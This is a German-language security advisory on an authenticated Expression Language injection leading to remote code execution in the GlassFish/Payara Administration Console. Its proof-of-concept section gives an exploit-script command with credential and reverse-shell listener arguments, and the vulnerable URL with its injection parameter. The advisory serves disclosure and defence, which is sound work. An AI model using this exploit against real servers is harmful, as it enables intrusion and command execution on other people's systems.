Authentifizierte GlassFish EL Injection RCE (CVE-2026-2586)

Eine Expression Language Injection-Schwachstelle in der GlassFish Administration Console ermöglicht es einem authentifizierten Benutzer, bösartige EL-Ausdrücke in Parameter einzuschleusen, die von der administrativen Weboberfläche verarbeitet werden. Bei erfolgreicher Ausnutzung kann dies zur Fernausführung von Befehlen auf dem betroffenen Server führen.

Die Schwachstelle wurde im Bearbeitungsablauf für virtuelle Serverkonfigurationen identifiziert, bei dem vom Benutzer steuerbare Parameter von der Anwendung unsicher interpretiert werden.

Dies geschieht, weil:

• Die administrative Oberfläche vom Benutzer gesteuerte Parameter innerhalb von EL-Ausdrücken verarbeitet.
• Die Eingabe vor der Interpretation durch das Backend nicht ordnungsgemäß validiert oder neutralisiert wird.
• Ein authentifizierter Benutzer in der Administrationskonsole das anfällige Verhalten ausnutzen kann, um Java-Klassen und -Methoden aufzurufen.
• In einem erfolgreichen Ausnutzungsszenario ein Angreifer mit gültigen Anmeldeinformationen Befehle auf dem zugrunde liegenden Betriebssystem ausführen könnte.

Betroffene Komponente

• Produkt: GlassFish / Payara Administration Console
• CVE: CVE-2026-2586
• Typ: Expression Language Injection
• Auswirkung: Authentifizierte Remote-Codeausführung
• Vektor: Administrative Weboberfläche

Proof of Concept

Der Test wurde in einer lokalen und kontrollierten Umgebung durchgeführt.

CVE-2026-2586.py --url https://glassfish:4848/ --user <USERNAME> --password <PASSWORD> --lhost 127.0.0.1 --lport 4444 --insecure

Verwundbare URL:

https://glassfish:4848/web/configuration/virtualServerEdit.jsf?name=server&configName=server-config&alertType=success&alertSummary=PAYLOAD&alertDetail=&bare=true

Rechtliches

NUR FÜR AUTORISIERTE VERWENDUNG. DeepSecurity Perú befürwortet keinen unbefugten Zugriff und übernimmt keine Verantwortung für jeglichen Missbrauch der bereitgestellten Informationen.